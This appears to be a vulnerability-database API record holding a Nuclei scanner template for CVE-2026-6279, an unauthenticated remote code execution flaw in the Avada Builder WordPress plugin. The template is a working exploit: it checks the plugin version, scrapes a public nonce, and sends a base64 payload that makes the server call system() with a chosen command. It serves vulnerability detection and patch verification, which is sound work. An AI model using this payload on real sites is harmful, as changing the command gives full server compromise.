{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-6279/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-6279/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-6279/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-6279/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-6279/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-6279"},"sightings":{"href":"/api/v1/sightings/cve-2026-6279"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-6279.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-6279\n\ninfo:\n  name: Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Avada Builder (fusion-builder) plugin for WordPress (versions <= 3.15.2) is vulnerable to unauthenticated remote code execution via PHP function injection. The fusion_get_widget_markup AJAX action is registered for unauthenticated users (wp_ajax_nopriv_fusion_get_widget_markup) and is gated only by check_ajax_referer('fusion_load_nonce') - which validates nonce integrity, not user identity. That nonce is minted with wp_create_nonce() for user ID 0 and is deterministically inlined into the JavaScript (fusionPostCardsVars / fusionTableOfContentsVars, key \"nonce\") of any public page that renders a [fusion_post_cards] or [fusion_table_of_contents] shortcode. The attacker-controlled render_logics parameter is base64-decoded and JSON-decoded, and in the wp_conditional_tags case of Fusion_Builder_Conditional_Render_Helper::get_value() the decoded function and args are passed directly to call_user_func() with no allowlist, enabling arbitrary PHP function (and thus OS command) execution.\n  impact: |\n    Unauthenticated remote code execution. An anonymous attacker who scrapes the public UID-0 nonce can invoke any single-argument PHP function (system, passthru, shell_exec, exec, file_get_contents, assert, ...), achieving full server compromise, data exfiltration and web shell deployment.\n  remediation: |\n    Update Avada Theme / Avada Builder (fusion-builder) to version 3.15.3 or later, which adds a function allowlist to the wp_conditional_tags render_logics handler.\n  reference:\n    - https://github.com/advisories/GHSA-f53p-382v-8pj7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6279\n    - https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531\n    - https://github.com/xxconi/CVE-2026-6279\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-6279\n    epss-score: 0.09885\n    epss-percentile: 0.95587\n    cwe-id: CWE-74\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: themefusion\n    product: fusion-builder\n    framework: wordpress\n    shodan-query: http.component:\"Avada Theme\"\n    fofa-query: body=\"fusion-builder\" && body=\"avada\"\n  tags: cve,cve2026,wordpress,wp-plugin,rce,injection,unauth,avada,fusion-builder,vkev\n\nvariables:\n  cmd: \"id\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/fusion-builder/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains_any(body, \"Avada Builder\", \"fusion-builder\")'\n          - 'compare_versions(plugin_version, \"<= 3.15.2\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - \"(?i)Stable tag:\\\\s*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n        internal: true\n\n  - raw:\n      - |\n        GET {{path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      path:\n        - \"/\"\n        - \"/blog/\"\n        - \"/blog-cards/\"\n        - \"/news/\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"fusionPostCardsVars\", \"fusionTableOfContentsVars\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fusion_nonce\n        part: body\n        group: 1\n        regex:\n          - 'fusion(?:PostCards|TableOfContents)Vars\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-f0-9]{8,})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=fusion_get_widget_markup&fusion_load_nonce={{fusion_nonce}}&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2&render_logics={{url_encode(base64(concat('{\"type\":\"wp_conditional_tags\",\"value\":{\"function\":\"system\",\"args\":\"', cmd, '\"}}')))}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"uid=\",\"gid=\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: command_output\n        part: body\n        group: 1\n        regex:\n          - \"(uid=[0-9]+\\\\([a-z0-9_-]+\\\\)[^<\\\\n]*)\"\n# digest: 4a0a0047304502204e5c76740908a98d8e3739fecccd45e7e5f64bf794d2beff88b812e8d0b59326022100f93bb6859a4727f915db76ecf451a1c47950ab490821cab57fb52a571faf8bda:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-6279"}